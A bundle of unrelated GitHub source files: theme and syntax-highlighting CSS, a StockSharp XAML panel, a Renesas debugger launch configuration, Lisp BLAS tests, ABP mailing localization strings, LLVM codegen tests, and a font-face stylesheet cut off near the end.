.c-content-title-4.c-theme .c-line-strike:before {
border-top: 1px solid #cd6262; }
.owl-carousel.c-theme .owl-controls .owl-dot {
background: #e1e1e1; }
.owl-carousel.c-theme .owl-controls .owl-dot:hover {
background: #fff; }
.owl-carousel.c-theme .owl-controls .owl-dot.active {
background: #cd6262; }
.cbp-l-filters-button .cbp-filter-counter,
.cbp-l-filters-buttonCenter .cbp-filter-counter {
background-color: #cd6262; }
.cbp-l-filters-button .cbp-filter-counter:before,
.cbp-l-filters-buttonCenter .cbp-filter-counter:before {
border-top: 4px solid #cd6262; }
.cbp-l-filters-alignCenter .cbp-filter-item.cbp-filter-item-active,
.cbp-l-filters-text .cbp-filter-item.cbp-filter-item-active {
color: #cd6262; }
.cbp-l-filters-alignCenter .cbp-filter-counter,
.cbp-l-filters-text .cbp-filter-counter {
background: none repeat scroll 0 0 #cd6262; }
.cbp-l-filters-alignCenter .cbp-filter-counter:before,
.cbp-l-filters-text .cbp-filter-counter:before {
border-top: 4px solid #cd6262; }
.cbp-l-filters-underline .cbp-filter-item.cbp-filter-item-active {
border-bottom-color: #cd6262; }
.cbp-l-project-desc-title:before,
.cbp-l-project-details-title:before {
background: #cd6262; }
.tp-bullets.round.c-theme .bullet {
margin-right: 5px; }
.tp-bullets.round.c-theme .bullet.selected {
background: #cd6262; }
.tp-banner-container.c-theme .tparrows.circle {
background-image: url(../../../../base/img/content/line-icons/red1.png); }
|
{
"pile_set_name": "Github"
}
|
.hll { background-color: #ffffcc }
.c { color: #60a0b0; font-style: italic } /* Comment */
.err { border: 1px solid #FF0000 } /* Error */
.k { color: #007020; font-weight: bold } /* Keyword */
.o { color: #666666 } /* Operator */
.cm { color: #60a0b0; font-style: italic } /* Comment.Multiline */
.cp { color: #007020 } /* Comment.Preproc */
.c1 { color: #60a0b0; font-style: italic } /* Comment.Single */
.cs { color: #60a0b0; background-color: #fff0f0 } /* Comment.Special */
.gd { color: #A00000 } /* Generic.Deleted */
.ge { font-style: italic } /* Generic.Emph */
.gr { color: #FF0000 } /* Generic.Error */
.gh { color: #000080; font-weight: bold } /* Generic.Heading */
.gi { color: #00A000 } /* Generic.Inserted */
.go { color: #888888 } /* Generic.Output */
.gp { color: #c65d09; font-weight: bold } /* Generic.Prompt */
.gs { font-weight: bold } /* Generic.Strong */
.gu { color: #800080; font-weight: bold } /* Generic.Subheading */
.gt { color: #0044DD } /* Generic.Traceback */
.kc { color: #007020; font-weight: bold } /* Keyword.Constant */
.kd { color: #007020; font-weight: bold } /* Keyword.Declaration */
.kn { color: #007020; font-weight: bold } /* Keyword.Namespace */
.kp { color: #007020 } /* Keyword.Pseudo */
.kr { color: #007020; font-weight: bold } /* Keyword.Reserved */
.kt { color: #902000 } /* Keyword.Type */
.m { color: #40a070 } /* Literal.Number */
.s { color: #4070a0 } /* Literal.String */
.na { color: #4070a0 } /* Name.Attribute */
.nb { color: #007020 } /* Name.Builtin */
.nc { color: #0e84b5; font-weight: bold } /* Name.Class */
.no { color: #60add5 } /* Name.Constant */
.nd { color: #555555; font-weight: bold } /* Name.Decorator */
.ni { color: #d55537; font-weight: bold } /* Name.Entity */
.ne { color: #007020 } /* Name.Exception */
.nf { color: #06287e } /* Name.Function */
.nl { color: #002070; font-weight: bold } /* Name.Label */
.nn { color: #0e84b5; font-weight: bold } /* Name.Namespace */
.nt { color: #062873; font-weight: bold } /* Name.Tag */
.nv { color: #bb60d5 } /* Name.Variable */
.ow { color: #007020; font-weight: bold } /* Operator.Word */
.w { color: #bbbbbb } /* Text.Whitespace */
.mf { color: #40a070 } /* Literal.Number.Float */
.mh { color: #40a070 } /* Literal.Number.Hex */
.mi { color: #40a070 } /* Literal.Number.Integer */
.mo { color: #40a070 } /* Literal.Number.Oct */
.sb { color: #4070a0 } /* Literal.String.Backtick */
.sc { color: #4070a0 } /* Literal.String.Char */
.sd { color: #4070a0; font-style: italic } /* Literal.String.Doc */
.s2 { color: #4070a0 } /* Literal.String.Double */
.se { color: #4070a0; font-weight: bold } /* Literal.String.Escape */
.sh { color: #4070a0 } /* Literal.String.Heredoc */
.si { color: #70a0d0; font-style: italic } /* Literal.String.Interpol */
.sx { color: #c65d09 } /* Literal.String.Other */
.sr { color: #235388 } /* Literal.String.Regex */
.s1 { color: #4070a0 } /* Literal.String.Single */
.ss { color: #517918 } /* Literal.String.Symbol */
.bp { color: #007020 } /* Name.Builtin.Pseudo */
.vc { color: #bb60d5 } /* Name.Variable.Class */
.vg { color: #bb60d5 } /* Name.Variable.Global */
.vi { color: #bb60d5 } /* Name.Variable.Instance */
.il { color: #40a070 } /* Literal.Number.Integer.Long */
|
{
"pile_set_name": "Github"
}
|
<UserControl x:Class="SampleConnection.MainPanel"
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:loc="clr-namespace:StockSharp.Localization;assembly=StockSharp.Localization"
xmlns:sx="http://schemas.stocksharp.com/xaml" Loaded="MainPanel_OnLoaded">
<Grid>
<Grid.RowDefinitions>
<RowDefinition Height="Auto" />
<RowDefinition Height="10" />
<RowDefinition Height="Auto" />
<RowDefinition Height="10" />
<RowDefinition />
</Grid.RowDefinitions>
<WrapPanel Grid.Row="0">
<Button x:Name="SettingsBtn" Content="{x:Static loc:LocalizedStrings.Settings}" Click="SettingsClick" Width="100"/>
<Button x:Name="ConnectBtn" Content="{x:Static loc:LocalizedStrings.Connect}" Click="ConnectClick" Width="100" Background="LightPink" />
<Button x:Name="ThemeSwitch" Content="{x:Static loc:LocalizedStrings.Themes}" Click="ThemeSwitchClick" Width="100"/>
</WrapPanel>
<WrapPanel Grid.Row="2">
<Button x:Name="ShowSecurities" Content="{x:Static loc:LocalizedStrings.Securities}" Click="ShowSecuritiesClick" Width="100"/>
<Button x:Name="ShowPortfolios" Content="{x:Static loc:LocalizedStrings.Portfolios}" Click="ShowPortfoliosClick" Width="100"/>
<Button x:Name="ShowTrades" Content="{x:Static loc:LocalizedStrings.Ticks}" Click="ShowTradesClick" Width="100"/>
<Button x:Name="ShowOrderLog" Content="{x:Static loc:LocalizedStrings.OrderLog}" Click="ShowOrderLogClick" Width="100"/>
<Button x:Name="ShowMyTrades" Content="{x:Static loc:LocalizedStrings.MyTrades}" Click="ShowMyTradesClick" Width="100"/>
<Button x:Name="ShowOrders" Content="{x:Static loc:LocalizedStrings.Orders}" Click="ShowOrdersClick" Width="100"/>
<Button x:Name="ShowNews" Content="{x:Static loc:LocalizedStrings.News}" Click="ShowNewsClick" Width="100"/>
<Button x:Name="ShowLevel1" Content="{x:Static loc:LocalizedStrings.Level1}" Click="ShowLevel1Click" Width="100"/>
</WrapPanel>
<sx:Monitor x:Name="Monitor" Grid.Row="4" ShowStrategies="False"/>
</Grid>
</UserControl>
|
{
"pile_set_name": "Github"
}
|
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<launchConfiguration type="com.renesas.cdt.launch.dsf.gdbremote.launchConfigurationType">
<stringAttribute key="com.renesas.cdt.core.additionalServerArgs" value=""/>
<intAttribute key="com.renesas.cdt.core.admPortNumber" value="61236"/>
<stringAttribute key="com.renesas.cdt.core.initCommands" value=""/>
<stringAttribute key="com.renesas.cdt.core.ipAddress" value="localhost"/>
<stringAttribute key="com.renesas.cdt.core.jtagDevice" value="E1"/>
<stringAttribute key="com.renesas.cdt.core.jtagDeviceId" value="com.renesas.hardwaredebug.rx.e1"/>
<listAttribute key="com.renesas.cdt.core.listGDBExe">
<listEntry value="rx-elf-gdb --rx-force-64bit-double -rx-force-v2"/>
</listAttribute>
<listAttribute key="com.renesas.cdt.core.listGDBLaunchName">
<listEntry value="main"/>
</listAttribute>
<listAttribute key="com.renesas.cdt.core.listGDBPort">
<listEntry value="61234"/>
</listAttribute>
<booleanAttribute key="com.renesas.cdt.core.loadImage" value="true"/>
<stringAttribute key="com.renesas.cdt.core.optionInitCommands" value=""/>
<intAttribute key="com.renesas.cdt.core.portNumber" value="61234"/>
<stringAttribute key="com.renesas.cdt.core.runCommands" value=""/>
<booleanAttribute key="com.renesas.cdt.core.secondGDBSupport" value="false"/>
<stringAttribute key="com.renesas.cdt.core.serverParam" value="-g E1 -t R5F564ML -uClockSrcHoco= 0 -uInputClock= 12.0000 -uAllowClockSourceInternal= 1 -uUseFine= 0 -uJTagClockFreq= 16.5 -w 1 -z 0 -uRegisterSetting= 0 -uModePin= 0 -uChangeStartupBank= 0 -uStartupBank= 0 -uDebugMode= 0 -uExecuteProgram= 0 -uIdCode= FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF -uresetOnReload= 1 -n 0 -uWorkRamAddress= 1000 -uProgReWriteIRom= 0 -uProgReWriteDFlash= 0 -uhookWorkRamAddr= 0x7fdd0 -uhookWorkRamSize= 0x230"/>
<booleanAttribute key="com.renesas.cdt.core.setResume" value="true"/>
<booleanAttribute key="com.renesas.cdt.core.setStopAt" value="true"/>
<booleanAttribute key="com.renesas.cdt.core.startServer" value="true"/>
<stringAttribute key="com.renesas.cdt.core.stopAt" value="main"/>
<stringAttribute key="com.renesas.cdt.core.targetDevice" value="R5F564ML"/>
<booleanAttribute key="com.renesas.cdt.core.useRemoteTarget" value="true"/>
<booleanAttribute key="com.renesas.cdt.core.verboseMode" value="false"/>
<stringAttribute key="com.renesas.cdt.debug.ioview.dsf.registerSelection" value="<?xml version="1.0" encoding="UTF-8" standalone="no"?> <selectedRegisterList ioFilePath="C:\DevTools\Renesas\e2_studio\internal\IoFiles\RX\RX64M.sfrx"/> "/>
<stringAttribute key="com.renesas.cdt.debug.realtimemanager.memory.mruRanges" value=""/>
<stringAttribute key="com.renesas.cdt.launch.dsf.IO_MAP" value="${support_area_loc}"/>
<booleanAttribute key="com.renesas.cdt.launch.dsf.USE_DEFAULT_IO_MAP" value="true"/>
<listAttribute key="com.renesas.cdt.launch.dsf.downloadImages">
<listEntry value="|true|true|true||true|No core"/>
</listAttribute>
<booleanAttribute key="com.renesas.cdt.launch.dsf.downloadImagesUpgradedV30" value="true"/>
<stringAttribute key="com.renesas.cdt.launch.dsf.launchSeqType" value="com.renesas.cdt.launch.dsf.launchSequence.e2GdbServer"/>
<stringAttribute key="com.renesas.cdt.launch.dsf.serverPath" value="${renesas.support.targetLoc:rx-debug}\e2-server-gdb"/>
<booleanAttribute key="com.renesas.hardwaredebug.e1.allow.change.startup_bank" value="false"/>
<booleanAttribute key="com.renesas.hardwaredebug.e1.allow.clock.source.internal" value="true"/>
<intAttribute key="com.renesas.hardwaredebug.e1.clock_source" value="0"/>
<stringAttribute key="com.renesas.hardwaredebug.e1.connection.mode" value="0"/>
<booleanAttribute key="com.renesas.hardwaredebug.e1.e1_pwr" value="true"/>
<booleanAttribute key="com.renesas.hardwaredebug.e1.enable.hot.plug" value="false"/>
<booleanAttribute key="com.renesas.hardwaredebug.e1.enable_external_flash" value="false"/>
<booleanAttribute key="com.renesas.hardwaredebug.e1.execute.program" value="false"/>
<listAttribute key="com.renesas.hardwaredebug.e1.ext_flash_definitions"/>
<stringAttribute key="com.renesas.hardwaredebug.e1.ext_flash_registers" value="2.1,0,"/>
<stringAttribute key="com.renesas.hardwaredebug.e1.external_memory" value=""/>
<stringAttribute key="com.renesas.hardwaredebug.e1.fine.baud.rate" value="2.00"/>
<stringAttribute key="com.renesas.hardwaredebug.e1.flash_overwrite_blocks" value=""/>
<stringAttribute key="com.renesas.hardwaredebug.e1.hook_Stop_func" value="0x0"/>
<booleanAttribute key="com.renesas.hardwaredebug.e1.hook_enable_Stop" value="false"/>
<booleanAttribute key="com.renesas.hardwaredebug.e1.hook_enable_start" value="false"/>
<stringAttribute key="com.renesas.hardwaredebug.e1.hook_start_func" value="0x0"/>
<intAttribute key="com.renesas.hardwaredebug.e1.hook_work_ram_Addr" value="523728"/>
<intAttribute key="com.renesas.hardwaredebug.e1.hook_work_ram_Size" value="560"/>
<booleanAttribute key="com.renesas.hardwaredebug.e1.hw_break" value="true"/>
<stringAttribute key="com.renesas.hardwaredebug.e1.id_code" value="FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"/>
<stringAttribute key="com.renesas.hardwaredebug.e1.inputclock" value="12.0000"/>
<stringAttribute key="com.renesas.hardwaredebug.e1.jtag.clock.freq" value="16.5"/>
<stringAttribute key="com.renesas.hardwaredebug.e1.jtag.or.fine" value="0"/>
<booleanAttribute key="com.renesas.hardwaredebug.e1.le" value="true"/>
<stringAttribute key="com.renesas.hardwaredebug.e1.mode" value="0"/>
<stringAttribute key="com.renesas.hardwaredebug.e1.mode_pin" value="0"/>
<booleanAttribute key="com.renesas.hardwaredebug.e1.prog_rewrite_dflash" value="false"/>
<booleanAttribute key="com.renesas.hardwaredebug.e1.prog_rewrite_irom" value="false"/>
<stringAttribute key="com.renesas.hardwaredebug.e1.serial_number" value=""/>
<stringAttribute key="com.renesas.hardwaredebug.e1.startup_bank" value="0"/>
<stringAttribute key="com.renesas.hardwaredebug.e1.supply.voltage" value="3.3V"/>
<intAttribute key="com.renesas.hardwaredebug.e1.timer_clock" value="0"/>
<intAttribute key="com.renesas.hardwaredebug.e1.work_ram_start" value="4096"/>
<booleanAttribute key="com.renesas.hardwaredebug.e20.le" value="true"/>
<booleanAttribute key="com.renesas.hardwaredebug.rx.e1.E1DebugToolSettingsTree.resetAfterReload" value="true"/>
<booleanAttribute key="com.renesas.hardwaredebug.timemeasurement" value="true"/>
<intAttribute key="org.eclipse.cdt.debug.gdbjtag.core.delay" value="3"/>
<booleanAttribute key="org.eclipse.cdt.debug.gdbjtag.core.doHalt" value="false"/>
<booleanAttribute key="org.eclipse.cdt.debug.gdbjtag.core.doReset" value="true"/>
<stringAttribute key="org.eclipse.cdt.debug.gdbjtag.core.imageFileName" value="C:\E\Dev\FreeRTOS\WorkingCopy\FreeRTOS\Demo\RX600_RX64M_RSK_GCC_e2studio\HardwareDebug\RTOSDemo.x"/>
<stringAttribute key="org.eclipse.cdt.debug.gdbjtag.core.imageOffset" value=""/>
<stringAttribute key="org.eclipse.cdt.debug.gdbjtag.core.initCommands" value=""/>
<booleanAttribute key="org.eclipse.cdt.debug.gdbjtag.core.loadImage" value="true"/>
<booleanAttribute key="org.eclipse.cdt.debug.gdbjtag.core.loadSymbols" value="true"/>
<stringAttribute key="org.eclipse.cdt.debug.gdbjtag.core.pcRegister" value=""/>
<stringAttribute key="org.eclipse.cdt.debug.gdbjtag.core.runCommands" value=""/>
<booleanAttribute key="org.eclipse.cdt.debug.gdbjtag.core.setPcRegister" value="false"/>
<booleanAttribute key="org.eclipse.cdt.debug.gdbjtag.core.setResume" value="true"/>
<booleanAttribute key="org.eclipse.cdt.debug.gdbjtag.core.setStopAt" value="true"/>
<stringAttribute key="org.eclipse.cdt.debug.gdbjtag.core.stopAt" value="main"/>
<stringAttribute key="org.eclipse.cdt.debug.gdbjtag.core.symbolsFileName" value="C:\E\Dev\FreeRTOS\WorkingCopy\FreeRTOS\Demo\RX600_RX64M_RSK_GCC_e2studio\HardwareDebug\RTOSDemo.x"/>
<stringAttribute key="org.eclipse.cdt.debug.gdbjtag.core.symbolsOffset" value=""/>
<booleanAttribute key="org.eclipse.cdt.debug.gdbjtag.core.useFileForImage" value="false"/>
<booleanAttribute key="org.eclipse.cdt.debug.gdbjtag.core.useFileForSymbols" value="false"/>
<booleanAttribute key="org.eclipse.cdt.debug.gdbjtag.core.useProjBinaryForImage" value="true"/>
<booleanAttribute key="org.eclipse.cdt.debug.gdbjtag.core.useProjBinaryForSymbols" value="true"/>
<stringAttribute key="org.eclipse.cdt.dsf.gdb.DEBUG_NAME" value="rx-elf-gdb --rx-force-64bit-double -rx-force-v2"/>
<booleanAttribute key="org.eclipse.cdt.dsf.gdb.NON_STOP" value="true"/>
<intAttribute key="org.eclipse.cdt.launch.ATTR_BUILD_BEFORE_LAUNCH_ATTR" value="2"/>
<booleanAttribute key="org.eclipse.cdt.launch.DEBUGGER_STOP_AT_MAIN" value="true"/>
<stringAttribute key="org.eclipse.cdt.launch.DEBUGGER_STOP_AT_MAIN_SYMBOL" value="main"/>
<stringAttribute key="org.eclipse.cdt.launch.PROGRAM_NAME" value="HardwareDebug\RTOSDemo.x"/>
<stringAttribute key="org.eclipse.cdt.launch.PROJECT_ATTR" value="RTOSDemo"/>
<booleanAttribute key="org.eclipse.cdt.launch.PROJECT_BUILD_CONFIG_AUTO_ATTR" value="true"/>
<stringAttribute key="org.eclipse.cdt.launch.PROJECT_BUILD_CONFIG_ID_ATTR" value="com.renesas.cdt.managedbuild.gcc.rx.configuration.debug.209218855"/>
<listAttribute key="org.eclipse.debug.core.MAPPED_RESOURCE_PATHS">
<listEntry value="/RTOSDemo"/>
</listAttribute>
<listAttribute key="org.eclipse.debug.core.MAPPED_RESOURCE_TYPES">
<listEntry value="4"/>
</listAttribute>
<booleanAttribute key="org.eclipse.debug.ui.ATTR_LAUNCH_IN_BACKGROUND" value="false"/>
<stringAttribute key="org.eclipse.dsf.launch.MEMORY_BLOCKS" value="<?xml version="1.0" encoding="UTF-8" standalone="no"?> <memoryBlockExpressionList context="reserved-for-future-use"/> "/>
<stringAttribute key="process_factory_id" value="org.eclipse.cdt.dsf.gdb.GdbProcessFactory"/>
</launchConfiguration>
|
{
"pile_set_name": "Github"
}
|
(in-package :mkl.blas.test)
(in-suite root-suite)
(defsuite* blas-test)
;;;; data
;;; 1d array
(defparameter *sx10* (setup-array (make-static-array 10 :element-type 'single-float :warning nil)))
(defparameter *dx10* (setup-array (make-static-array 10 :element-type 'double-float :warning nil)))
(defparameter *cx10* (setup-array (make-static-array 10 :element-type '(complex single-float) :warning nil)
:rstep #c(1 2)))
(defparameter *zx10* (setup-array (make-static-array 10 :element-type '(complex double-float) :warning nil)
:rstep #c(1 2)))
(defparameter *sy10* (setup-array (make-static-array 10 :element-type 'single-float :warning nil)
:rstep -2 :rstart 18))
(defparameter *dy10* (setup-array (make-static-array 10 :element-type 'double-float :warning nil)
:rstep -2 :rstart 18))
(defparameter *cy10* (setup-array (make-static-array 10 :element-type '(complex single-float) :warning nil)
:rstart #c(18 0) :rstep #c(-2 -1)))
(defparameter *zy10* (setup-array (make-static-array 10 :element-type '(complex double-float) :warning nil)
:rstart #c(18 0) :rstep #c(-2 -1)))
(defparameter m 200)
(defparameter n 100)
(defparameter A (setup-array (make-static-array '(100 200) :element-type 'double-float)))
(defparameter B (setup-array (make-static-array '(200 100) :element-type 'double-float)))
(defparameter C (setup-array (make-static-array '(200 200) :element-type 'double-float)))
(defparameter V (setup-array (make-static-array 200 :element-type 'double-float)))
(defixture test-data
(setup-array *sx10*)
(setup-array *dx10*)
(setup-array *cx10* :rstep #c (1 2))
(setup-array *zx10* :rstep #c (1 2))
(setup-array *sy10* :rstep -2 :rstart 18)
(setup-array *dy10* :rstep -2 :rstart 18)
(setup-array *cy10* :rstep #c (-2 -1) :rstart #c (18 0))
(setup-array *zy10* :rstep #c (-2 -1) :rstart #c (18 0))
(setup-array A)
(setup-array B)
(setup-array C)
(setup-array V))
;;; blas1 test
(deftest test-asum ()
(with-fixture test-data
(is (= 45 (sasum 10 *sx10* 1)))
(is (= 45 (dasum 10 *dx10* 1)))
(is (= 135 (scasum 10 *cx10* 1)))
(is (= 135 (dzasum 10 *zx10* 1)))
(is (= 20 (sasum 5 *sx10* 2)))
(is (= 10 (dasum 5 *dx10* 1)))))
(deftest test-axpy ()
(with-fixture test-data
(is (equalp #(18 17 16 15 14 13 12 11 10 9)
(saxpy 10 1.0f0 *sx10* 1 *sy10* 1))))
(with-fixture test-data
(is (equalp #(18 17 16 15 14 13 12 11 10 9)
(daxpy 10 1.0d0 *dx10* 1 *dy10* 1))))
(with-fixture test-data
(is (equalp #(18 #c(17 1) #c(16 2) #c(15 3) #c(14 4) #c(13 5) #c(12 6) #c(11 7) #c(10 8) #c(9 9))
(caxpy 10 #c(1.0f0 0.0f0) *cx10* 1 *cy10* 1))))
(with-fixture test-data
(is (equalp #(18 #c(17 1) #c(16 2) #c(15 3) #c(14 4) #c(13 5) #c(12 6) #c(11 7) #c(10 8) #c(9 9))
(zaxpy 10 #c(1d0 0d0) *zx10* 1 *zy10* 1))))
(with-fixture test-data
(is (equalp #(18 18 18 18 18 18 18 18 2 0)
(daxpy 8 2.0d0 *dx10* 1 *dy10* 1))))
(with-fixture test-data
(is (equalp #(18 16 18 12 18 8 18 4 2 0)
(daxpy 4 2.0d0 *dx10* 2 *dy10* 2)))))
;;; blas2 tests
(deftest test-dgemv ()
(with-fixture test-data
(let ((y (dgemv "N" m n 1d0 a m (make-array m :element-type 'double-float :initial-element (/ 1d0 m)) 1 0d0 v 1)))
(is (~= 4950.0 (aref y 0)))
(is (~= 5050.0 (aref y (1- m)))))))
|
{
"pile_set_name": "Github"
}
|
{
"culture": "tr",
"texts": {
"DisplayName:Abp.Mailing.DefaultFromAddress": "Varsayılan gönderici adresi",
"DisplayName:Abp.Mailing.DefaultFromDisplayName": "Varsayılan gönderici adı",
"DisplayName:Abp.Mailing.Smtp.Host": "Sunucu",
"DisplayName:Abp.Mailing.Smtp.Port": "Port",
"DisplayName:Abp.Mailing.Smtp.UserName": "Kullanıcı adı",
"DisplayName:Abp.Mailing.Smtp.Password": "Şifre",
"DisplayName:Abp.Mailing.Smtp.Domain": "Domain",
"DisplayName:Abp.Mailing.Smtp.EnableSsl": "SSL aktif",
"DisplayName:Abp.Mailing.Smtp.UseDefaultCredentials": "Varsayılan kimlik kullan",
"Description:Abp.Mailing.DefaultFromAddress": "Varsayılan gönderici adresi",
"Description:Abp.Mailing.DefaultFromDisplayName": "Varsayılan gönderici adı",
"Description:Abp.Mailing.Smtp.Host": "SMTP üzerinden e-posta göndermek için kullanılacak sunucunun IP adresi ya da adı.",
"Description:Abp.Mailing.Smtp.Port": "Sunucunun SMTP portu.",
"Description:Abp.Mailing.Smtp.UserName": "Varsayılan kimlik kullanılmaması durumunda kullanılacak kullanıcı adı.",
"Description:Abp.Mailing.Smtp.Password": "Varsayılan kimlik kullanılmaması durumunda kullanılacak şifre.",
"Description:Abp.Mailing.Smtp.Domain": "Kimlik bilgilerinin doğrulanacağı sunucu/domain.",
"Description:Abp.Mailing.Smtp.EnableSsl": "Email gönderiminde SSL kullanılıp kullanılmayacağı.",
"Description:Abp.Mailing.Smtp.UseDefaultCredentials": "Varsayılan kimlik bilgilerinin kullanılıp kullanılmayacağı.",
"TextTemplate:StandardEmailTemplates.Layout": "Varsayılan e-posta layout şablonu",
"TextTemplate:StandardEmailTemplates.Message": "Basit bir mesaj göndermek için e-posta şablonu"
}
}
|
{
"pile_set_name": "Github"
}
|
; RUN: llc -mtriple=thumb-eabi -mcpu=cortex-a8 %s -o - | FileCheck %s -check-prefix=ARMv7A
; RUN: llc -mtriple=thumb-eabi -mcpu=cortex-m3 %s -o - | FileCheck %s -check-prefix=ARMv7M
define i32 @test1(i32 %x) {
; ARMv7A: test1
; ARMv7A: uxtb16 r0, r0
; ARMv7M: test1
; ARMv7M: bic r0, r0, #-16711936
%tmp1 = and i32 %x, 16711935 ; <i32> [#uses=1]
ret i32 %tmp1
}
; PR7503
define i32 @test2(i32 %x) {
; ARMv7A: test2
; ARMv7A: uxtb16 r0, r0, ror #8
; ARMv7M: test2
; ARMv7M: mov.w r1, #16711935
; ARMv7M: and.w r0, r1, r0, lsr #8
%tmp1 = lshr i32 %x, 8 ; <i32> [#uses=1]
%tmp2 = and i32 %tmp1, 16711935 ; <i32> [#uses=1]
ret i32 %tmp2
}
define i32 @test3(i32 %x) {
; ARMv7A: test3
; ARMv7A: uxtb16 r0, r0, ror #8
; ARMv7M: test3
; ARMv7M: mov.w r1, #16711935
; ARMv7M: and.w r0, r1, r0, lsr #8
%tmp1 = lshr i32 %x, 8 ; <i32> [#uses=1]
%tmp2 = and i32 %tmp1, 16711935 ; <i32> [#uses=1]
ret i32 %tmp2
}
define i32 @test4(i32 %x) {
; ARMv7A: test4
; ARMv7A: uxtb16 r0, r0, ror #8
; ARMv7M: test4
; ARMv7M: mov.w r1, #16711935
; ARMv7M: and.w r0, r1, r0, lsr #8
%tmp1 = lshr i32 %x, 8 ; <i32> [#uses=1]
%tmp6 = and i32 %tmp1, 16711935 ; <i32> [#uses=1]
ret i32 %tmp6
}
define i32 @test5(i32 %x) {
; ARMv7A: test5
; ARMv7A: uxtb16 r0, r0, ror #8
; ARMv7M: test5
; ARMv7M: mov.w r1, #16711935
; ARMv7M: and.w r0, r1, r0, lsr #8
%tmp1 = lshr i32 %x, 8 ; <i32> [#uses=1]
%tmp2 = and i32 %tmp1, 16711935 ; <i32> [#uses=1]
ret i32 %tmp2
}
define i32 @test6(i32 %x) {
; ARMv7A: test6
; ARMv7A: uxtb16 r0, r0, ror #16
; ARMv7M: test6
; ARMv7M: mov.w r1, #16711935
; ARMv7M: and.w r0, r1, r0, ror #16
%tmp1 = lshr i32 %x, 16 ; <i32> [#uses=1]
%tmp2 = and i32 %tmp1, 255 ; <i32> [#uses=1]
%tmp4 = shl i32 %x, 16 ; <i32> [#uses=1]
%tmp5 = and i32 %tmp4, 16711680 ; <i32> [#uses=1]
%tmp6 = or i32 %tmp2, %tmp5 ; <i32> [#uses=1]
ret i32 %tmp6
}
define i32 @test7(i32 %x) {
; ARMv7A: test7
; ARMv7A: uxtb16 r0, r0, ror #16
; ARMv7M: test7
; ARMv7M: mov.w r1, #16711935
; ARMv7M: and.w r0, r1, r0, ror #16
%tmp1 = lshr i32 %x, 16 ; <i32> [#uses=1]
%tmp2 = and i32 %tmp1, 255 ; <i32> [#uses=1]
%tmp4 = shl i32 %x, 16 ; <i32> [#uses=1]
%tmp5 = and i32 %tmp4, 16711680 ; <i32> [#uses=1]
%tmp6 = or i32 %tmp2, %tmp5 ; <i32> [#uses=1]
ret i32 %tmp6
}
define i32 @test8(i32 %x) {
; ARMv7A: test8
; ARMv7A: uxtb16 r0, r0, ror #24
; ARMv7M: test8
; ARMv7M: mov.w r1, #16711935
; ARMv7M: and.w r0, r1, r0, ror #24
%tmp1 = shl i32 %x, 8 ; <i32> [#uses=1]
%tmp2 = and i32 %tmp1, 16711680 ; <i32> [#uses=1]
%tmp5 = lshr i32 %x, 24 ; <i32> [#uses=1]
%tmp6 = or i32 %tmp2, %tmp5 ; <i32> [#uses=1]
ret i32 %tmp6
}
define i32 @test9(i32 %x) {
; ARMv7A: test9
; ARMv7A: uxtb16 r0, r0, ror #24
; ARMv7M: test9
; ARMv7M: mov.w r1, #16711935
; ARMv7M: and.w r0, r1, r0, ror #24
%tmp1 = lshr i32 %x, 24 ; <i32> [#uses=1]
%tmp4 = shl i32 %x, 8 ; <i32> [#uses=1]
%tmp5 = and i32 %tmp4, 16711680 ; <i32> [#uses=1]
%tmp6 = or i32 %tmp5, %tmp1 ; <i32> [#uses=1]
ret i32 %tmp6
}
define i32 @test10(i32 %p0) {
; ARMv7A: test10
; ARMv7A: mov.w r1, #16253176
; ARMv7A: and.w r0, r1, r0, lsr #7
; ARMv7A: lsrs r1, r0, #5
; ARMv7A: uxtb16 r1, r1
; ARMv7A: orrs r0, r1
; ARMv7M: test10
; ARMv7M: mov.w r1, #16253176
; ARMv7M: and.w r0, r1, r0, lsr #7
; ARMv7M: mov.w r1, #458759
; ARMv7M: and.w r1, r1, r0, lsr #5
; ARMv7M: orrs r0, r1
%tmp1 = lshr i32 %p0, 7 ; <i32> [#uses=1]
%tmp2 = and i32 %tmp1, 16253176 ; <i32> [#uses=2]
%tmp4 = lshr i32 %tmp2, 5 ; <i32> [#uses=1]
%tmp5 = and i32 %tmp4, 458759 ; <i32> [#uses=1]
%tmp7 = or i32 %tmp5, %tmp2 ; <i32> [#uses=1]
ret i32 %tmp7
}
|
{
"pile_set_name": "Github"
}
|
/* charis-sil-400normal - latin */
@font-face {
font-family: 'Charis SIL';
font-style: normal;
font-weight: 400;
src: url('./files/charis-sil-400.eot'); /* IE9 Compat Modes */
src:
local('Charis SIL Regular normal'),
local('Charis SIL-Regularnormal'),
url('./files/charis-sil-400.eot?#iefix') format('embedded-opentype'), /* IE6-IE8 */
url('./files/charis-sil-400.woff2') format('woff2'), /* Super Modern Browsers */
url('./files/charis-sil-400.woff') format('woff'), /* Modern Browsers */
url('./files/charis-sil-400.svg#CharisSil') format('svg'); /* Legacy iOS */
}
/* charis-sil-400italic - latin */
@font-face {
font-family: 'Charis SIL';
font-style: italic;
font-weight: 400;
src: url('./files/charis-sil-400italic.eot'); /* IE9 Compat Modes */
src:
local('Charis SIL Regular italic'),
local('Charis SIL-Regularitalic'),
url('./files/charis-sil-400italic.eot?#iefix') format('embedded-opentype'), /* IE6-IE8 */
url('./files/charis-sil-400italic.woff2') format('woff2'), /* Super Modern Browsers */
url('./files/charis-sil-400italic.woff') format('woff'), /* Modern Browsers */
url('./files/charis-sil-400italic.svg#CharisSil') format('svg'); /* Legacy iOS */
}
/* charis-sil-700normal - latin */
@font-face {
font-family: 'Charis SIL';
font-style: normal;
font-weight: 700;
src: url('./files/charis-sil-700.eot'); /* IE9 Compat Modes */
src:
local('Charis SIL Bold normal'),
local('Charis SIL-Boldnormal'),
url('./files/charis-sil-700.eot?#iefix') format('embedded-opentype'), /* IE6-IE8 */
url('./files/charis-sil-700.woff2') format('woff2'), /* Super Modern Browsers */
url('./files/charis-sil-700.woff') format('woff'), /* Modern Browsers */
url('./files/charis-sil-700.svg#CharisSil') format('svg'); /* Legacy iOS */
}
/* charis-sil-700italic - latin */
@font-face {
font-family: 'Charis SIL';
font-style: italic;
font-weight: 700;
src: url('./files/charis-sil-700italic.eot'); /* IE9 Compat Modes */
src:
local('Charis SIL Bold italic'),
local('Charis SIL-Bolditalic'),
